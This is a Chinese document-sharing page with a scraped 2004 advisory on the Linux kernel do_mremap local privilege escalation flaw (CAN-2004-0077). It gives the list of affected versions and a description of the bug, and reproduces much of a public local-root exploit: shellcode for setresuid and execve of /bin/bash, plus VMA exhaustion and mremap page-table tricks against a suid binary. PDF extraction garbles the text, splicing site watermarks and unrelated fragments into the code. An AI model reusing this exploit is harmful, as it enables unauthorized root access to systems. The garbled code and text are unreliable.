Linux Kernel do_mremap VMA本地权限提升漏洞_第1页
Linux Kernel do_mremap VMA本地权限提升漏洞_第2页
Linux Kernel do_mremap VMA本地权限提升漏洞_第3页
Linux Kernel do_mremap VMA本地权限提升漏洞_第4页
Linux Kernel do_mremap VMA本地权限提升漏洞_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、LinuxLinux KernelKernel do_mremapdo_mremap VMAVMA 本地权限提升漏洞本地权限提升漏洞本文关键字:本文关键字:LinuxLinux KernelKernel do_mremapdo_mremap VMAVMA 本地权限提升漏洞本地权限提升漏洞日期:2004-03-05发布日期:2004-02-18更新日期:2004-03-03受影响系统:Linux kernel 2.6.2Linux kernel 2.6.1Linux kernel 2.6Linux kernel 2.4.9Linux kernel 2.4.8Linux kernel 2.4.7L

2、inux kernel 2.4.6Linux kernel 2.4.5Linux kernel 2.4.4Linux kernel 2.4.3Linux kernel 2.4.24Linux kernel 2.4.23Linux kernel 2.4.22Linux kernel 2.4.21Linux kernel 2.4.20Linux kernel 2.4.2Linux kernel 2.4.19Linux kernel 2.4.17Linux kernel 2.4.16Linux kernel 2.4.15Linux kernel 2.4.14Linux kernel 2.4.13Li

3、nux kernel 2.4.12Linux kernel 2.4.11Linux kernel 2.4.10Linux kernel 2.4.1Linux kernel 2.4Linux kernel 2.2.9Linux kernel 2.2.8Linux kernel 2.2.7Linux kernel 2.2.6Linux kernel 2.2.5Linux kernel 2.2.4Linux kernel 2.2.3Linux kernel 2.2.25Linux kernel 2.2.24Linux kernel 2.2.23Linux kernel 2.2.22Linux ker

4、nel 2.2.21Linux kernel 2.2.20Linux kernel 2.2.2Linux kernel 2.2.19Linux kernel 2.2.18Linux kernel 2.2.17Linux kernel 2.2.16Linux kernel 2.2.15Linux kernel 2.2.14Linux kernel 2.2.13Linux kernel 2.2.12Linux kernel 2.2.11Linux kernel 2.2.10Linux kernel 2.2.1Linux kernel 2.2Linux kernel 2.4.18- Conectiv

5、a Linux 8.0- Conectiva Linux 7.0- Debian Linux 3.0- Mandrake Linux 8.2- Mandrake Linux 8.1- RedHat Linux 8.0- RedHat Linux 7.3- Slackware Linux 8.1- Slackware Linux 8.0- SuSE Linux 8.2- SuSE Linux 8.1不受影响系统:Linux kernel 2.6.3Linux kernel 2.4.25Linux kernel 2.2.26描述:-CVE(CAN) ID: CAN-2004-0077Linux 是

6、一款开放源代码操作系统。Linux 内核中 mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得 root 用户权限。欢迎光临八一学习网八一学习网,收藏本篇文章收藏本篇文章$False$mremap 系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从 VMA 区域移动部分虚拟内存到新的区域需要建立一个新的 VMA 描述符,也就是把由 VMA 描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。要完成这个任务 do_mremap 代码需要调用 do_

7、munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对 do_munmap()函数的返回值进行检查,如果可用 VMA 描述符的最大数已经超出,那么函数调用就可能失败。isec 利用这个漏洞通过页表缓冲(page table cache)使包含在页中的恶意指令被执行。详细方法可参看如下地址:http:/isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt测试方法:-警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Paul Starzetz (paulstarz

8、etz.de)提供了如下测试方法:/*mremap missing do_munmap return check kernel exploit*gcc -O3 -static -fomit-frame-pointer mremap_pte.c -omremap_pte*./mremap_pte *Copyright (c) 2004iSEC Security Research. All RightsReserved.*THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT ISPROVIDED AS IS*AND WITHOUT ANY WARRA

9、NTY. COPYING, PRINTING, DISTRIBUTION,MODIFICATION*WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.*/#include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s#define xstr(s) str(s)/this is for standard kernels with 3/1 split#

10、define STARTADDR0 x40000000#define PGD_SIZE(PAGE_SIZE * 1024)本文关键字:本文关键字:#define VICTIM(STARTADDR + PGD_SIZE)#define 欢迎光临八一学习网八一学习网,点击这里点击这里查看更多文章教程MMAP_BASE(STARTADDR + 3*PGD_SIZE)#define DSIGNALSIGCHLD#define CLONEFL(DSIGNAL|CLONE_VFORK|CLONE_VM)#define MREMAP_MAYMOVE( (1UL) 0 )#define MREMAP_FIXE

11、D( (1UL) 1 )#define _NR_sys_mremap_NR_mremap/how many ld.so pages? this is the .text section length(like from cat/proc/self/maps) in pages#define LINKERPAGES0 x14/suid victimstatic char *suid=/bin/ping;/shell to startstatic char *launch=/bin/bash;_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulon

12、g, c, ulong,d,12341234 ;ulong, e);unsigned long sys_mremap(unsigned long addr, unsigned long old_len,unsigned long new_len, unsigned long flags,unsigned long new_addr);static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;static int i, pid=0;static char *env, *argv;static ulong ret;/code t

13、o appear inside the suid imagestatic void suid_code(void)_asm_(callcallmen/setresuid(0, 0, 0), setresgid(0, 0, 0)jumpme:xorl%ebx, %ebxnxorl%ecx,文章整理文章整理: :八一学习网八一学习网http:/http:/ (本站)%ecxnxorl%edx, %edxnxorl%eax, %eaxnmov$xstr(_NR_setresuid), %alnint$0 x80nmov$xstr(_NR_setresgid), %alnint$0 x80n/exec

14、ve(launch)popl%ebx&nb本文关键本文关键字:字:movl%esp, %ecxnmov$xstr(_NR_execve), %alnint$0 x80n/exitxorl%eax, %eaxnmov$xstr(_NR_exit), %alnint$0 x80ncallme:jmpjumpmen);static int suid_code_end(int v)return v+1;static inline void get_esp(void)_asm_(movl12341234%esp, %eaxnandl$0 xfffff000,欢迎光临八一学习网八一学习网,收藏本篇

15、文章收藏本篇文章%eaxnmovl%eax, %0n: : m(old_esp);static inline void cloneme(void)_asm_(pushanmovl$(xstr(CLONEFL), %ebxnmovl %esp, %ecxnmovl$xstr(_NR_clone), %eaxnint$0 x80nmovl %eax, %0npopan: : m(pid);static inline void my_execve(void)_asm_(movl %1, %ebx本文关键字:本文关键字:);static inline void pte_populate(unsigne

16、d addr)unsigned r;char *ptr;memset(void*)addr, 0 x90, PAGE_SIZE);r = (unsigned)suid_code_end) - (unsigned)suid_code);ptr = (void*) (addr + PAGE_SIZE);ptr -= r+1;memcpy(ptr, suid_code, r);memcpy(void*)addr, launch, strlen(launch)+1);/hit VMA limit & populate PTEsstatic void exhaust(void)/mmap PTE

17、 donort = mmap(void*)victim, PAGE_SIZE*(LINKERPAGES+3),PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);if(MAP_FAILED=t)goto failed;/prepare shell code pagesfor(i=2; i65520 )printf(rMMAP #%d0 x%.8x -0 x%.8lx, cnt, base,base+PAGE_SIZE); fflush(stdout);base += PAGE_SIZE;prot = PROT_EXEC

18、;cnt+;/move PTEs & populate page table cacheret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE,PAGE_SIZE,MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);if(-1=ret)goto failed;munmap(void*)MMAP_BASE, old_esp-MMAP_BASE);t = mmap(void*)(old_esp-PGD_SIZE-PAGE_SIZE),PAGE_SIZE,PROT_READ|PROT_WRITE,欢迎光临八一学习网八一学习网,收藏本篇文章收藏本篇文章本文关键字:本文关键字:_exit(0);_exit(0); if(b=2)if(b=2) if(c=25)if(c=25)v=1;v=1; elseelse if(b=3)if(b=3) if(c=99)if(c18if(c18 & c=24)c24)if(c24)v=0,v=0, e=0;e=0;elseelsev=1,v=1, e=0;e=0; elseelse if(b=5i

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论